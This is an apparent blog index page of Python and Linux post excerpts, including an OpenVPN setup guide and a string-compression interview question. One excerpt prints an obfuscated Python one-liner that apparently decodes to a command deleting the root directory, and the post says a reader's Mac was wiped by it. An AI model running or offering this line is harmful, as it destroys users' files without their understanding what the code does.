logo

海盗

xart: generate art ascii texts.

xart: generate art ascii texts. Version WTFPL License

xart is a pure Python library that provides an easy way to generate art ascii texts. Life is short, be cool.

 ██╗  ██╗ █████╗ ██████╗ ████████╗
 ╚██╗██╔╝██╔══██╗██╔══██╗╚══██╔══╝
  ╚███╔╝ ███████║██████╔╝   ██║
  ██╔██╗ ██╔══██║██╔══██╗   ██║
 ██╔╝ ██╗██║  ██║██║  ██║   ██║
 ╚═╝  ╚═╝╚═╝  ╚═╝╚═╝  ╚═╝   ╚═╝

阅读全文...

Python 乱码指北:一行删掉根目录

之前在知乎看到一个问题:「一行 Python 代码可以实现什么丧心病狂的功能?」,我看着好玩,写了一个答案:

(lambda _: getattr(__import__(_(28531)), _(126965465245037))(_(9147569852652678349977498820655)))((lambda ___, __, _: lambda n: ___(__(n))[_ << _:-_].decode(___.__name__))(hex, long, True))

OS X、Linux 有效,需要管理员权限执行,效果感人。

作者:xlzd
链接:https://www.zhihu.com/question/37046157/answer/101660005
来源:知乎
著作权归作者所有,转载请联系作者获得授权。

原本只是一个恶搞的小玩笑,没想到真的有一个小伙伴试过了这行代码。然后,他的 Mac 被删光了所有东西……

那么,这行代码是如何做到的呢?

阅读全文...

Python 中的对象概述

在 Python 的世界中,一切皆对象。 int / list / dict / ... 都是对象,除此之外,函数、类本身也是对象,那么,这些对象究竟是什么呢?

从结果看,Python 中的对象是 C 语言中结构体在堆上申请的一片内存区域。而在具体实现上,这里先简单描述一下。
屏幕快照 2016-07-09 01.16.10.png

阅读全文...

从源码编译 Python

尝试通过源码自己编译 Python,使用的系统是 Ubuntu14.04 LTS。

python-back.png

阅读全文...

怎样在 Ubuntu 16.04 上安装 OpenVPN 服务

open_vpn_server_tw.jpg

参考自 How To Set Up an OpenVPN Server on Ubuntu 16.04

为什么需要 OpenVPN

对我来讲,有两个原因:

  • 安全地在不安全的网络环境下上网:如需要在酒店、咖啡厅或者不可信任的 Wi-Fi 环境下上网时,我需要确保自己不会被监听。
  • 跨过防火墙,享受自由的网络环境。

那么,为什么我不用 ShadowSocks 呢?答案是,其实我也在用,不过它在 iOS 上的表现确实无法令人满意,另外,PC 端使用 Chrome 配合 ss 翻墙的时候需要很复杂的配置(或许我不会用吧),相比之下, OpenVPN 可以非常方便的全部搞定(除了安装比较复杂)。所以,这篇博客记录下 OpenVPN 服务的安装过程,以供参考。

文中使用的服务器是 Ubuntu 16.04,不过 Debian 系的操作系统应该是可以通用的。

阅读全文...

五月晦忆五月朔与老夏小事

屏幕快照 2016-05-31 20.04.35.png

我们听到里面的和尚在诵经——

无上甚深微妙法
百千万劫难遭遇
我今见闻得受持
愿解如来真实义

“要不要进去?”
“先等等吧。”

阅读全文...

优雅的 Python 之 Ellipsis

Python 是一门非常具有包容性的语气,体现在一个优秀的工程师可以非常容易优雅高效地完成一件事情,而一个拙略的工程师通过一样的代码同样可以做到几乎一样的功能。今天,介绍一下 Python 的 Ellipsis~~~

想象这样一个问题:

如何优雅地生成一个等差数组?比如输入一个序列的第一、第二项以及最后一项,然后返回这个等差数组。

阅读全文...

一道关于字符串的面试题

今天的题目是:编写一个算法,实现基本的字符串“压缩”算法,比如对于字符串abbbbbccccdddcccccc,经过算法处理之后得到的输出为a1b5c4d3c6,如果处理后的字符串长度不小于原串长度,则返回原串。

屏幕快照 2016-03-30 21.58.25.png

阅读全文...